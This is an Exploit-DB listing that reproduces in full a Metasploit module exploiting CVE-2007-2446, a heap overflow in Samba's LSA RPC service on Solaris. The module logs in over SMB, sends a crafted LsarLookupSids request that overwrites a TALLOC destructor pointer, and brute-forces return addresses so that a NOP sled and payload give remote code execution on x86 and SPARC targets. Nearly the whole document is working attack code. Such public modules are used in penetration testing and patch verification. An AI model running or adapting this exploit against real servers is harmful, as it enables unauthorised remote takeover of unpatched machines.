标题: Samba 3.0.24 (Solaris) - 'lsa_io_trans_names' Heap Overflow (Metasploit) EDB-ID: 16329 CVE: 2007-2446 类型: REMOTE 平台: SOLARIS 发布日期: 2010-04-05 漏洞利用脚本: ##
# $Id: lsa_transnames_heap.rb 9021 2010-04-05 23:34:10Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::DCERPC
 include Msf::Exploit::Remote::SMB
 include Msf::Exploit::Brute

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Samba lsa_io_trans_names Heap Overflow',
   'Description'    => %q{
    This module triggers a heap overflow in the LSA RPC service
   of the Samba daemon. This module uses the TALLOC chunk overwrite
   method (credit Ramon and Adriano), which only works with Samba
   versions 3.0.21-3.0.24. Additionally, this module will not work
   when the Samba "log level" parameter is higher than "2".
   },
   'Author'         =>
    [
     'ramon',
     'Adriano Lima <adriano@risesecurity.org>',
     'hdm'
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9021 $',
   'References'     =>
    [
     ['CVE', '2007-2446'],
     ['OSVDB', '34699'],
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 1024,
    },
   'Platform'       => 'solaris',
   'Targets'        =>
    [
     ['Solaris 8/9/10 x86 Samba 3.0.21-3.0.24',
     {
      'Platform'      => 'solaris',
      'Arch'          => [ ARCH_X86 ],
      'Nops'          => 64 * 1024,
      'Bruteforce' =>
       {
        'Start' => { 'Ret' => 0x082f2000 },
        'Stop'  => { 'Ret' => 0x084f2000 },
        'Step'  => 60 * 1024,
       }
     }
     ],
     ['Solaris 8/9/10 SPARC Samba 3.0.21-3.0.24',
     {
      'Platform'      => 'solaris',
      'Arch'          => [ ARCH_SPARC ],
      'Nops'          => 64 * 1024,
      'Bruteforce' =>
       {
        'Start' => { 'Ret' => 0x00322000 },
        'Stop'  => { 'Ret' => 0x00722000 },
        'Step'  => 60 * 1024,
       }
     }
     ],
     ['DEBUG',
     {
      'Platform'      => 'solaris',
      'Arch'          => [ ARCH_X86 ],
      'Nops'          => 64 * 1024,
      'Bruteforce' =>
       {
        'Start' => { 'Ret' => 0xaabbccdd },
        'Stop'  => { 'Ret' => 0xaabbccdd },
        'Step'  => 60 * 1024,
       }
     }
     ],
    ],
   'DisclosureDate' => 'May 14 2007',
   'DefaultTarget'  => 0
   ))

  register_options(
   [
    OptString.new('SMBPIPE', [ true,  "The pipe name to use", 'LSARPC']),
   ], self.class)

 end

 # Need to perform target detection
 def autofilter
  false
 end

 def brute_exploit(target_addrs)

  if(not @nops)
   if (target['Nops'] > 0)
    print_status("Creating nop sled....")
    @nops = make_nops(target['Nops'])
   else
    @nops = ''
   end
  end

  print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])

  nops = @nops
  pipe = datastore['SMBPIPE'].downcase

  print_status("Connecting to the SMB service...")
  connect()
  smb_login()

  datastore['DCERPC::fake_bind_multi'] = false

  handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
  print_status("Binding to #{handle} ...")
  dcerpc_bind(handle)
  print_status("Bound to #{handle} ...")

  num_entries  = 272
  num_entries2 = 288

  #
  # First talloc_chunk
  # 16 bits align
  # 16 bits sid_name_use
  #     16 bits uni_str_len
  #     16 bits uni_max_len
  #     32 bits buffer
  # 32 bits domain_idx
  #
  buf = (('A' * 16) * num_entries)

  # Padding
  buf << 'A' * 8

  # TALLOC_MAGIC
  talloc_magic = "\x70\xec\x14\xe8"

  # Second talloc_chunk header
  buf << 'A' * 8                         # next, prev
  buf << NDR.long(0) + NDR.long(0)       # parent, child
  buf << NDR.long(0)                     # refs
  buf << [target_addrs['Ret']].pack('V') # destructor
  buf << 'A' * 4                         # name
  buf << 'A' * 4                         # size
  buf << talloc_magic                    # flags

  stub = lsa_open_policy(dcerpc)

  stub << NDR.long(0)            # num_entries
  stub << NDR.long(0)            # ptr_sid_enum
  stub << NDR.long(num_entries)  # num_entries
  stub << NDR.long(0x20004)      # ptr_trans_names
  stub << NDR.long(num_entries2) # num_entries2
  stub << buf
  stub << nops
  stub << payload.encoded

  print_status("Calling the vulnerable function...")

  begin
   # LsarLookupSids
   dcerpc.call(0x0f, stub)
  rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
   print_status('Server did not respond, this is expected')
  rescue Rex::Proto::DCERPC::Exceptions::Fault
   print_error('Server is most likely patched...')
  rescue => e
   if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
    print_status('Server disconnected, this is expected')
   else
    print_error("Error: #{e.class}: #{e}")
   end
  end

  handler
  disconnect
 end

 def lsa_open_policy(dcerpc, server="\\")
  stubdata =
   # Server
   NDR.uwstring(server) +
   # Object Attributes
    NDR.long(24) + # SIZE
    NDR.long(0)  + # LSPTR
    NDR.long(0)  + # NAME
    NDR.long(0)  + # ATTRS
    NDR.long(0)  + # SEC DES
     # LSA QOS PTR
     NDR.long(1)  + # Referent
     NDR.long(12) + # Length
     NDR.long(2)  + # Impersonation
     NDR.long(1)  + # Context Tracking
     NDR.long(0)  + # Effective Only
   # Access Mask
   NDR.long(0x02000000)

  res = dcerpc.call(6, stubdata)

  dcerpc.last_response.stub_data[0,20]
 end


end URL: https://www.exploit-db.com/exploits/16329